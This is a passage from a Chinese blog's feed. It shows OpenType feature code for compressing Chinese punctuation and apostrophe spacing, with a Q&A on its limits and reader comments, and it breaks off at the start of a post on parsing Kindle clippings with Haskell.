&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  uni&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;FF1A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # ：&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  uni&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;FF1B&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # ；&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  uni&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;FF1F&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # ？&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  uni&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;FF01&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # ！&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;valueRecordDef &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0 0 -500 0&lt;&#x2F;span&gt;&lt;span&gt; &amp;gt; HALF;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;valueRecordDef &amp;lt; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;-500 0 -500 0&lt;&#x2F;span&gt;&lt;span&gt; &amp;gt; OPEN_HALF;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;feature&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; chws&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  lookup&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; chws_normal&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;    # 2 Current char is any punctuation followed by a closing bracket&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    pos&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; @other @close&lt;&#x2F;span&gt;&lt;span&gt; &amp;lt; HALF &amp;gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;    # 3 Current char is a closing bracket followed by any punctuation&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    pos&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; @close @open&lt;&#x2F;span&gt;&lt;span&gt; &amp;lt; HALF &amp;gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    pos&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; @close @close&lt;&#x2F;span&gt;&lt;span&gt; &amp;lt; HALF &amp;gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    pos&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; @close @other&lt;&#x2F;span&gt;&lt;span&gt; &amp;lt; HALF &amp;gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    pos&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; @close @full&lt;&#x2F;span&gt;&lt;span&gt; &amp;lt; HALF &amp;gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  } &lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;chws_normal&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  lookup&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; chws_backtrack&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;    # 1.2 Current char is following any punctuation except a closing bracket&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    pos&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; @open @open&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; &amp;lt; OPEN_HALF &amp;gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    pos&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; @full @open&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; &amp;lt; OPEN_HALF &amp;gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    pos&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; @other @open&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39; &amp;lt; OPEN_HALF &amp;gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  } &lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;chws_backtrack&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;} &lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;chws&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;div class=&quot;qa&quot;&gt;
&lt;p&gt;问：&lt;&#x2F;p&gt;
&lt;p&gt;为什么要把这个特性命名为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;chws？&lt;&#x2F;p&gt;
&lt;p&gt;答：&lt;&#x2F;p&gt;
&lt;div&gt;
&lt;p&gt;因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;typography&#x2F;opentype&#x2F;spec&#x2F;features_ae#tag-chws&quot;&gt;Contextual Half-width
Spacing（chws）是一个已经被注册专门用于汉字标点挤压的特性&lt;&#x2F;a&gt;。其实这里介绍的方法就来自注册该特性的&lt;ruby&gt;小林剑博士&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;Dr. Ken Lunde&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;写的《&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;ccjktype.fonts.adobe.com&#x2F;2019&#x2F;04&#x2F;contextual-spacing-gpos-features-redux.html&quot;&gt;Contextual
Spacing GPOS
Features—Redux&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;（文中的链接坏掉了，应该是&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;ccjktype.fonts.adobe.com&#x2F;2018&#x2F;04&#x2F;contextual-spacing.html&quot;&gt;这个&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。不过貌似没什么字体支持这个特性，而且火狐甚至不会默认开启它（尽管按标准来看它应该开启&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。所以其实叫个别的名字也无所谓。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;qa&quot;&gt;
&lt;p&gt;问：&lt;&#x2F;p&gt;
&lt;p&gt;为什么要划掉&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1.1？&lt;&#x2F;p&gt;
&lt;p&gt;答：&lt;&#x2F;p&gt;
&lt;div&gt;
&lt;p&gt;因为我不清楚如何在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;fea&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中表达句首这一概念。OpenType&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Initial
Forms（init）特性会作用于词首的第一个字母。但貌似&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;shaper&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;认为中文每个字都是一个词，所以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;init&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;特性的效果会在每一个字上体现。&lt;&#x2F;p&gt;
&lt;p&gt;也可以调转思路，把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;@open&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的默认宽度改成半宽。然后用程序提取字体里的所有字写进&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;@all。最后在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;@open&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;前面有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;@all&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;出现时，补上&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;@open&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的空白。我之所以放弃是因为这样做要列举每个字，有些恶心。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;qa&quot;&gt;
&lt;p&gt;问：&lt;&#x2F;p&gt;
&lt;p&gt;还有什么局限么？&lt;&#x2F;p&gt;
&lt;p&gt;答：&lt;&#x2F;p&gt;
&lt;div&gt;
&lt;p&gt;lookup&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;会在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&amp;lt;sup&amp;gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;前停下，所以没法对注释标号前的句号进行挤压&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-2&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-2-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-2-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[2]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-2-content&quot;&gt;我倾向在句号后面写这种标号，因为我读的大部分书都这么做——我看到别人反过来操作确实会感到难受。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;&#x2F;div&gt;
&lt;h3 id=&quot;撇号&quot;&gt;撇号&lt;&#x2F;h3&gt;
&lt;p&gt;除去连续出现的括号引号书名号，还有一个标点需要挤压：撇号。撇号、英文单反引号还有中文单反引号在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;UTF-8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中是同一个字，所以用默认字体是中文的浏览器浏览英文网页时经常能看到撇号后面留了巨大空白。&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;pandoc-as-markdown-preprocessor&#x2F;#%E8%8B%B1%E6%96%87%E6%92%87%E5%8F%B7%E7%9A%84%E5%A4%84%E7%90%86%E6%96%B9%E6%B3%95&quot;&gt;我之前讨论过解决方法，但不够本质。&lt;&#x2F;a&gt;既然可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;fea&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;解决中文标点的挤压，也能用它根据撇号后面的字符是否是英文来判定消不消去中文单反引号的空白：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;fea&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;feature&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; kern&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;  @apostrophe_suffix&lt;&#x2F;span&gt;&lt;span&gt; = [space a-z A-Z];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  lookup&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; apostrophe&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;    pos&lt;&#x2F;span&gt;&lt;span&gt; [quoteright] &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;@apostrophe_suffix&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; -700&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  } &lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;apostrophe&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;} &lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;kern&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;-700&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&amp;lt;
0 0 -700 0
&amp;gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的简写。Kerning（kern）特性是专门用来调整不同字母间间距的，也许把这条规则写在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;kern&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里并不好，但反正&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;fontTools&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;会替换原字体的所有特性，所以也没关系。&lt;&#x2F;p&gt;
&lt;div class=&quot;qa&quot;&gt;
&lt;p&gt;问：&lt;&#x2F;p&gt;
&lt;p&gt;什么？不是添加特性，而是替换特性？&lt;&#x2F;p&gt;
&lt;p&gt;答：&lt;&#x2F;p&gt;
&lt;div&gt;
&lt;p&gt;没错，把自己写的特性编译进思源宋体之后，连破折号都会断开——因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;hwid&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;特性没了。其实用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;sub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;命令把两个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;em
dash&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;合并成一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;two-em
dash，再写个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;pos&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;命令调整&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;two-em
dash&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的位置后充当破折号效果也不错。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;qa&quot;&gt;
&lt;p&gt;问：&lt;&#x2F;p&gt;
&lt;p&gt;sub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;命令又是什么？&lt;&#x2F;p&gt;
&lt;p&gt;答：&lt;&#x2F;p&gt;
&lt;div&gt;
&lt;p&gt;就是替换字形，比如&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;adobe-fonts&#x2F;source-serif&#x2F;blob&#x2F;b3980ade53bb3d023a0006076d05349236b309b1&#x2F;Roman&#x2F;familyGSUB.fea#L666-L675&quot;&gt;1&#x2F;2&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;变成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;½&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就是用的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;sub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;命令&lt;&#x2F;a&gt;。你还可以用它把瘦了吧唧的“·”换成更适合中文的“・&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;qa&quot;&gt;
&lt;p&gt;问：&lt;&#x2F;p&gt;
&lt;p&gt;说了半天，你怎么不在自己的博客里用？&lt;&#x2F;p&gt;
&lt;p&gt;答：&lt;&#x2F;p&gt;
&lt;div&gt;
&lt;p&gt;其实我短暂用了一天，但是对&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;OpenType&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有所了解后我不满足于此了。我想干一件更彻底的事，而且我不喜欢展示半成品，所以现在退回以前的方法了。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;&#x2F;div&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;chws-fea
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;chws-fea&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    



&lt;br &#x2F;&gt;
&lt;details open replies&gt;
    &lt;summary&gt;


三条评论：&lt;&#x2F;summary&gt;
    &lt;p&gt;注：点击昵称可以查看对评论的回复。&lt;&#x2F;p&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;
            &lt;figure&gt;
                &lt;figcaption&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mastodon.yuuta.moe&amp;#x2F;users&amp;#x2F;coelacanthus&amp;#x2F;statuses&amp;#x2F;111244322907947994&quot;&gt;










Coelacanthus 😶‍🌫️ 🏳️‍⚧️&lt;&#x2F;a&gt;：
                &lt;&#x2F;figcaption&gt;
                
                
                    
                    
                        
                        
                    
                
                &lt;blockquote&gt;&lt;p&gt;&lt;span class=&quot;h-card&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;actor&quot; class=&quot;u-url mention&quot;&gt;@&lt;span&gt;actor&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;&lt;&#x2F;span&gt; 如果有软件能导出已有字体的 fea 是不是就可以实现修改而不是替换了。&lt;&#x2F;p&gt;&lt;&#x2F;blockquote&gt;
            &lt;&#x2F;figure&gt;
        &lt;&#x2F;li&gt;
        
        &lt;li&gt;
            &lt;figure&gt;
                &lt;figcaption&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mastodon.yuuta.moe&amp;#x2F;users&amp;#x2F;coelacanthus&amp;#x2F;statuses&amp;#x2F;111226601016611570&quot;&gt;










Coelacanthus 😶‍🌫️ 🏳️‍⚧️&lt;&#x2F;a&gt;：
                &lt;&#x2F;figcaption&gt;
                
                
                    
                    
                        
                        
                    
                
                &lt;blockquote&gt;&lt;p&gt;&lt;span class=&quot;h-card&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;actor&quot; class=&quot;u-url mention&quot;&gt;@&lt;span&gt;actor&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;&lt;&#x2F;span&gt; 引号撇号宽度的问题还是在于 Unicode 错误地为全半角引号分配了同一个码点，我是真的想不通他们给几乎所有的全半角标点都分配了分开的码点，却给引号分配了一样的码点。&lt;br &#x2F;&gt;我现在为了一致地显示效果（毕竟我无法完全控制读者使用的字体以及渲染规则），对于所有的英文引号和撇号，一律使用 ASCII 里的直引号，对于中文环境的引号，采用直角引号。&lt;&#x2F;p&gt;&lt;&#x2F;blockquote&gt;
            &lt;&#x2F;figure&gt;
        &lt;&#x2F;li&gt;
        
        &lt;li&gt;
            &lt;figure&gt;
                &lt;figcaption&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;casouri&amp;#x2F;statuses&amp;#x2F;110099544886908834&quot;&gt;










冥王星爱丽&lt;&#x2F;a&gt;：
                &lt;&#x2F;figcaption&gt;
                
                
                    
                    
                        
                        
                    
                
                &lt;blockquote&gt;&lt;p&gt;&lt;span class=&quot;h-card&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;actor&quot; class=&quot;u-url mention&quot;&gt;@&lt;span&gt;actor&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;&lt;&#x2F;span&gt; 谢谢你，虽然我对满地span还是没有什么感觉，但是你的小蜘蛛比喻非常有力，让人非常切身地体会到了你的心情）&lt;&#x2F;p&gt;&lt;p&gt;用OpenType特性感觉是很棒的主意，链接的小林健先生的文章也很有意思，我也想这么搞了，坐等你的更彻底的方法www&lt;&#x2F;p&gt;&lt;p&gt;你是看什么东西学的OpenType？我最近其实也在看类似的东西，不过同时还有很多别的要忙，进度很慢。&lt;&#x2F;p&gt;&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;simoncozens.github.io&#x2F;fonts-and-layout&#x2F;&#x2F;&quot; rel=&quot;nofollow noopener noreferrer&quot; target=&quot;_blank&quot;&gt;&lt;span class=&quot;invisible&quot;&gt;https:&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;ellipsis&quot;&gt;simoncozens.github.io&#x2F;fonts-an&lt;&#x2F;span&gt;&lt;span class=&quot;invisible&quot;&gt;d-layout&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;&lt;&#x2F;blockquote&gt;
            &lt;&#x2F;figure&gt;
        &lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;


&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>用Haskell把My Clippings.txt转成CSV</title>
    <published>2023-03-18T13:19:24+00:00</published>
    <updated>2023-06-26T18:08:04+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/my-clippings-csv/" type="text/html" />
    <id>https://emptystack.top/my-clippings-csv/</id>
    <content type="html">
      &lt;p&gt;我上周尝试了下&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Readwise，发现它不支持链接中国亚马逊账号，还不支持导入中文&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;My Clippings.txt。客服让我试试转成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CSV&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;再倒入——好呀，我倒要看看解析中文&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;My Clippings.txt&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到底有多难。&lt;&#x2F;p&gt;
&lt;p&gt;结论是说难也不难，说简单也不简单。因为亚马逊中国会在书名和作者之间加入各种形式的广告词、作者名的格式也不统一，甚至连页码和位置的组合都有很多种。想要处理所有极端情况是难的——可能需要两个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;pass，或者各种回溯叠在一起；但要解析绝大多数情况的话，还是挺简单的——如下：&lt;&#x2F;p&gt;
&lt;p&gt;
&lt;h2&gt;目录&lt;&#x2F;h2&gt;
&lt;ul&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;my-clippings-csv&#x2F;#Parse&quot;&gt;Parse&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;my-clippings-csv&#x2F;#拆分问题&quot;&gt;拆分问题&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;my-clippings-csv&#x2F;#pType&quot;&gt;pType&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;my-clippings-csv&#x2F;#pLocation&quot;&gt;pLocation&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;my-clippings-csv&#x2F;#pContent&quot;&gt;pContent&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;my-clippings-csv&#x2F;#pUTCTime&quot;&gt;pUTCTime&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;my-clippings-csv&#x2F;#pAuthor&#x27;&quot;&gt;pAuthor&#x27;&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
